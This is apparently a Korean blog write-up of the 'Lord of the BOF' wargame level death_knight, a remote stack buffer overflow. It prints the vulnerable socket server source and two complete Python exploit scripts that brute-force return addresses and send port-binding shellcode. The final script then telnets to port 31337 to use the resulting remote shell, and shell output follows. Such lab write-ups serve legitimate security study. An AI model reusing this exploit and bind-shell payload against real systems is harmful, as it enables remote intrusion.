이번에 좀 머리를 쓰긴 했지만 원래 소켓프로그래밍 정말로 해보고싶었던지라 재밌게 클리어 한 것 같습니다.
처음에 제 생각으론 쉘이 따져야할텐데 안 따져서 인터넷을 좀 뒤져봤더니 권한을 어.. 뭐라해야하지 연결한 프로그램한테 바로 주는 것이 아니라 다른 포트에 연결해놔서 listen하고 있게 둔 다음 그 포트로 접속해야 연결이 되게 만든 쉘코드가 바로 port binding shellcode이라네요. 스택 오버플로우에 비슷한 질문이 올라와있어서 포트바인딩 쉘코드를 사용해야 한다는걸 알게 되었습니다. 쉘코드는 http://shell-storm.org/shellcode/files/shellcode-217.php 이곳에서 찾았습니다.
[xavius@localhost xavius]$ cat death_knight.c
/*
The Lord of the BOF : The Fellowship of the BOF
- dark knight
- remote BOF
*/
#include <stdio.h>
#include <stdlib.h>
#include <errno.h>
#include <string.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <sys/socket.h>
#include <sys/wait.h>
#include <dumpcode.h>
main()
{
char buffer[40];
int server_fd, client_fd;
struct sockaddr_in server_addr;
struct sockaddr_in client_addr;
int sin_size;
if((server_fd = socket(AF_INET, SOCK_STREAM, 0)) == -1){
perror("socket");
exit(1);
}
server_addr.sin_family = AF_INET;
server_addr.sin_port = htons(6666);
server_addr.sin_addr.s_addr = INADDR_ANY;
bzero(&(server_addr.sin_zero), 8);
if(bind(server_fd, (struct sockaddr *)&server_addr, sizeof(struct sockaddr)) == -1){
perror("bind");
exit(1);
}
if(listen(server_fd, 10) == -1){
perror("listen");
exit(1);
}
while(1) {
sin_size = sizeof(struct sockaddr_in);
if((client_fd = accept(server_fd, (struct sockaddr *)&client_addr, &sin_size)) == -1){
perror("accept");
continue;
}
if (!fork()){
send(client_fd, "Death Knight : Not even death can save you from me!\n", 52, 0);
send(client_fd, "You : ", 6, 0);
recv(client_fd, buffer, 256, 0);
close(client_fd);
break;
}
close(client_fd);
while(waitpid(-1,NULL,WNOHANG) > 0);
}
close(server_fd);
}
복잡한 코드엔 쥐약인데 보자마자 복잡해 보였습니다ㅋㅋ.... 프로그래밍 공부좀 열심히 해야겠습니다.
일단 저는 클리어에 목표를 두었기 때문에 perror, 즉 에러메세지를 프린트해주는 부분은 건너뛰었습니다. 그 위의 소스도 소켓을 연결하는 부분이고요.
그렇다면 봐야할 곳은 여기인데
if (!fork()){
send(client_fd, "Death Knight : Not even death can save you from me!\n", 52, 0);
send(client_fd, "You : ", 6, 0);
recv(client_fd, buffer, 256, 0);
close(client_fd);
break;
}
여기를 보면 52바이트, 6바이트를 보낸 후 256 바이트를 받는 것을 볼 수 있습니다.
버퍼는 40바이트니, 여기서 버퍼오버플로우가 일어나게 됩니다.
처음에 노가다 했던 코드는 이거인데요,
#!usr/bin/python
from socket import *
import struct, sys
#s = socket(AF_INET, SOCK_STREAM)
payload='\x90'*44 #space
#96 bytes of shellcode
shellcode="\x31\xc0\x31\xdb\xb0\x17\xcd\x80\x31\xdb\xf7\xe3\xb0\x66\x53\x43\x53\x43\x53\x89\xe1\x4b\xcd\x80\x89\xc7\x52\x66\x68\x7a\x69\x43\x66\x53\x89\xe1\xb0\x10\x50\x51\x57\x89\xe1\xb0\x66\xcd\x80\xb0\x66\xb3\x04\xcd\x80\x50\x50\x57\x89\xe1\x43\xb0\x66\xcd\x80\x89\xd9\x89\xc3\xb0\x3f\x49\xcd\x80\x41\xe2\xf8\x51\x68n/sh\x68//bi\x89\xe3\x51\x53\x89\xe1\xb0\x0b\xcd\x80"
p = lambda x : struct.pack("<I", x)
#payload= nop 44 ret_addr 4 nop 110 shellcode 96
#s.connect(("192.168.10.129",6666))
print "Connecting.."
for address in range (0xbffff000, 0xbfffffff):
payload+=p(address)
payload+='\x90'*110
payload+=shellcode
s = socket(AF_INET, SOCK_STREAM)
s.connect(("192.168.10.129",6666))
print s.recv(52)
print s.recv(6)
s.send(payload)
s.close()
p = lambda x : struct.pack("<I", x) 이부분이 주소값을 리틀엔디안 형식으로 바꿔줍니다.
그냥 페이로드처럼 짰습니다. nop44개, 리턴어드레스, nop 110개, 그리고 쉘코드.
밑의 for address in range는 이제와서 찾아보니 문제 코드에 있는 dumpcode를 활용해 주소를 알아낼 수 있는 방법이 있는 듯하지만 주소값을 얻을 방법이 없는것 같아 막막해서 그냥 주소를 브루트포싱해버렸습니다..
그리고서 페이로드를 보내는 형식이었습니다.
하지만 실행시키면
Death Knight : Not even death can save you from me!
You :
만 무수히 뜰 뿐, 쉘을 얻을 수가 없었는데, 바인드 한 포트로 접속해야한다는것을 깨달은 뒤 소스를 바꿨습니다.
Administratorui-MacBook-Pro-2:~ EverTokki$ vi exploit_lob.py
#!usr/bin/python
from socket import *
import struct, sys
import os
#s = socket(AF_INET, SOCK_STREAM)
payload='\x90'*44 #space
#96 bytes of shellcode
shellcode="\x31\xc0\x31\xdb\xb0\x17\xcd\x80\x31\xdb\xf7\xe3\xb0\x66\x53\x43\x53\x43\x53\x89\xe1\x4b\xcd\x80\x89\xc7\x52\x66\x68\x7a\x69\x43\x66\x53\x89\xe1\xb0\x10\x50\x51\x57\x89\xe1\xb0\x66\xcd\x80\xb0\x66\xb3\x04\xcd\x80\x50\x50\x57\x89\xe1\x43\xb0\x66\xcd\x80\x89\xd9\x89\xc3\xb0\x3f\x49\xcd\x80\x41\xe2\xf8\x51\x68n/sh\x68//bi\x89\xe3\x51\x53\x89\xe1\xb0\x0b\xcd\x80"
p = lambda x : struct.pack("<I", x)
#payload= nop 44 ret_addr 4 nop 112 shellcode 96
#s.connect(("192.168.10.129",6666))
print "Connecting.."
for address in range (0xbffff000, 0xbfffffff):
payload+=p(address)
payload+='\x90'*110
payload+=shellcode
s = socket(AF_INET, SOCK_STREAM)
s.connect(("192.168.10.129",6666))
print s.recv(52)
print s.recv(6)
s.send(payload)
os.system("telnet 192.168.10.129 31337")
#s.close()
#close connection
그리고서 신기했던건 바로 쉘이 떴다는 것이었습니다. 그리고 그냥 입력은 안되고 command;형식으로 쳐야 전달이 된다는것도요.
Administratorui-MacBook-Pro-2:~ EverTokki$ python exploit_lob.py
Connecting..
Death Knight : Not even death can save you from me!
You :
Trying 192.168.10.129...
Connected to 192.168.10.129.
Escape character is '^]'.
ls
: command not found
ls;
bin
boot
dev
etc
home
lib
lost+found
mnt
opt
proc
root
sbin
tmp
usr
var
my-pass;
euid = 520
exit하니 계속 브루트포싱이 돌아가더라고요ㅋㅋ
그 후로 다시 시도해보니 안되디다???
??
???진짜 안되네요 뭐 잘못 건드렸나?
암튼 푸는거 진짜 재밌게 했음..
login: death_knight
Password:
[death_knight@localhost death_knight]$ ls
dropped_item.txt
[death_knight@localhost death_knight]$ cat dropped_item.txt
You're so great! This is a token to the next gate.
,.
,' `.
,' _<>_ `.
,'.-'____`-.`.
,'_.-'' ``-._`.
,',' /\ `.`.
,' /.._ O / \ O _.,\ `.
,'/ / \ ``-;.--.:-'' / \ \`.
,' : : \ /\`.,'/\ / : : `.
< <>| | O >(< ( ) >)< O | |<> >
`. : : / \/,'`.\/ \ ; ; ,'
`.\ \ /_..-:`--';-.._\ / /,'
`. \`' O \ / O `'/ ,'
`.`._ \/ _,','
`..``-.____.-'',,'
`.`-.____.-','
`. <> ,'
`. ,'
`'
[death_knight@localhost death_knight]$
RedHat 6.2 여정 끗.
내일 시험있는데 이거하고나니 새벽한시네요. 클났다.
'STUDY > Lord of the BOF' 카테고리의 다른 글
Lord of the BOF (0) | 2019.02.07 |
---|---|
nightmare->xavius (0) | 2014.07.22 |
succubus->nightmare (0) | 2014.07.10 |
zombie_assassin->succubus (0) | 2014.07.08 |
assassin->zombie_assassin (2) | 2014.06.26 |